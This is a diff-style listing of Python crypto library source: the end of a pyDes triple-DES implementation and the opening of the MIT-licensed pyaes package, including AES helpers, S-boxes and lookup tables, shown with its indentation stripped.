self._padding, self._padmode)
if self.key_size == 16:
self.__key3 = self.__key1
else:
self.__key3 = des(key[16:], self._mode, self._iv,
self._padding, self._padmode)
_baseDes.setKey(self, key)
# Override setter methods to work on all 3 keys.
def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
_baseDes.setMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setMode(mode)
def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
_baseDes.setPadding(self, pad)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadding(pad)
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
_baseDes.setPadMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadMode(mode)
def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with CBC mode"""
_baseDes.setIV(self, IV)
for key in (self.__key1, self.__key2, self.__key3):
key.setIV(IV)
def encrypt(self, data, pad=None, padmode=None):
"""encrypt(data, [pad], [padmode]) -> bytes
data : bytes to be encrypted
pad : Optional argument for encryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be encrypted
with the already specified key. Data does not have to be a
multiple of 8 bytes if the padding character is supplied, or
the padmode is set to PAD_PKCS5, as bytes will then added to
ensure the be padded data is a multiple of 8 bytes.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
# Pad the data accordingly.
data = self._padData(data, pad, padmode)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
block = self.__key2.crypt(block, DECRYPT)
block = self.__key3.crypt(block, ENCRYPT)
self.__key1.setIV(block)
self.__key2.setIV(block)
self.__key3.setIV(block)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
return ''.join(result)
else:
return bytes.fromhex('').join(result)
else:
data = self.__key1.crypt(data, ENCRYPT)
data = self.__key2.crypt(data, DECRYPT)
return self.__key3.crypt(data, ENCRYPT)
def decrypt(self, data, pad=None, padmode=None):
"""decrypt(data, [pad], [padmode]) -> bytes
data : bytes to be encrypted
pad : Optional argument for decryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be decrypted
with the already specified key. In PAD_NORMAL mode, if the
optional padding character is supplied, then the un-encrypted
data will have the padding characters removed from the end of
the bytes. This pad removal only occurs on the last 8 bytes of
the data (last data block). In PAD_PKCS5 mode, the special
padding end markers will be removed from the data after
decrypting, no pad character is required for PAD_PKCS5.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
iv = data[i:i+8]
block = self.__key3.crypt(iv, DECRYPT)
block = self.__key2.crypt(block, ENCRYPT)
block = self.__key1.crypt(block, DECRYPT)
self.__key1.setIV(iv)
self.__key2.setIV(iv)
self.__key3.setIV(iv)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
data = ''.join(result)
else:
data = bytes.fromhex('').join(result)
else:
data = self.__key3.crypt(data, DECRYPT)
data = self.__key2.crypt(data, ENCRYPT)
data = self.__key1.crypt(data, DECRYPT)
return self._unpadData(data, pad, padmode)

View File

@ -0,0 +1,53 @@
# The MIT License (MIT)
#
# Copyright (c) 2014 Richard Moore
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# This is a pure-Python implementation of the AES algorithm and AES common
# modes of operation.
# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
# Supported key sizes:
# 128-bit
# 192-bit
# 256-bit
# Supported modes of operation:
# ECB - Electronic Codebook
# CBC - Cipher-Block Chaining
# CFB - Cipher Feedback
# OFB - Output Feedback
# CTR - Counter
# See the README.md for API details and general information.
# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
# https://www.dlitz.net/software/pycrypto/
VERSION = [1, 3, 0]
from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
from .blockfeeder import PADDING_NONE, PADDING_DEFAULT

View File

@ -0,0 +1,589 @@
# The MIT License (MIT)
#
# Copyright (c) 2014 Richard Moore
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# This is a pure-Python implementation of the AES algorithm and AES common
# modes of operation.
# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
# Honestly, the best description of the modes of operations are the wonderful
# diagrams on Wikipedia. They explain in moments what my words could never
# achieve. Hence the inline documentation here is sparer than I'd prefer.
# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
# https://www.dlitz.net/software/pycrypto/
# Supported key sizes:
# 128-bit
# 192-bit
# 256-bit
# Supported modes of operation:
# ECB - Electronic Codebook
# CBC - Cipher-Block Chaining
# CFB - Cipher Feedback
# OFB - Output Feedback
# CTR - Counter
# See the README.md for API details and general information.
import copy
import struct
__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
"AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
def _compact_word(word):
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
def _string_to_bytes(text):
return list(ord(c) for c in text)
def _bytes_to_string(binary):
return "".join(chr(b) for b in binary)
def _concat_list(a, b):
return a + b
# Python 3 compatibility
try:
xrange
except NameError:
xrange = range
# Python 3 supports bytes, which is already an array of integers
def _string_to_bytes(text):
if isinstance(text, bytes):
return text
return [ord(c) for c in text]
# In Python 3, we return bytes
def _bytes_to_string(binary):
return bytes(binary)
# Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
def _concat_list(a, b):
return a + bytes(b)
# Based *largely* on the Rijndael implementation
# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
class AES(object):
'''Encapsulates the AES block cipher.
You generally should not need this. Use the AESModeOfOperation classes
below instead.'''
# Number of rounds by keysize
number_of_rounds = {16: 10, 24: 12, 32: 14}
# Round constant words
rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
# S-box and Inverse S-box (S is for Substitution)
S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
# Transformations for encryption
T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
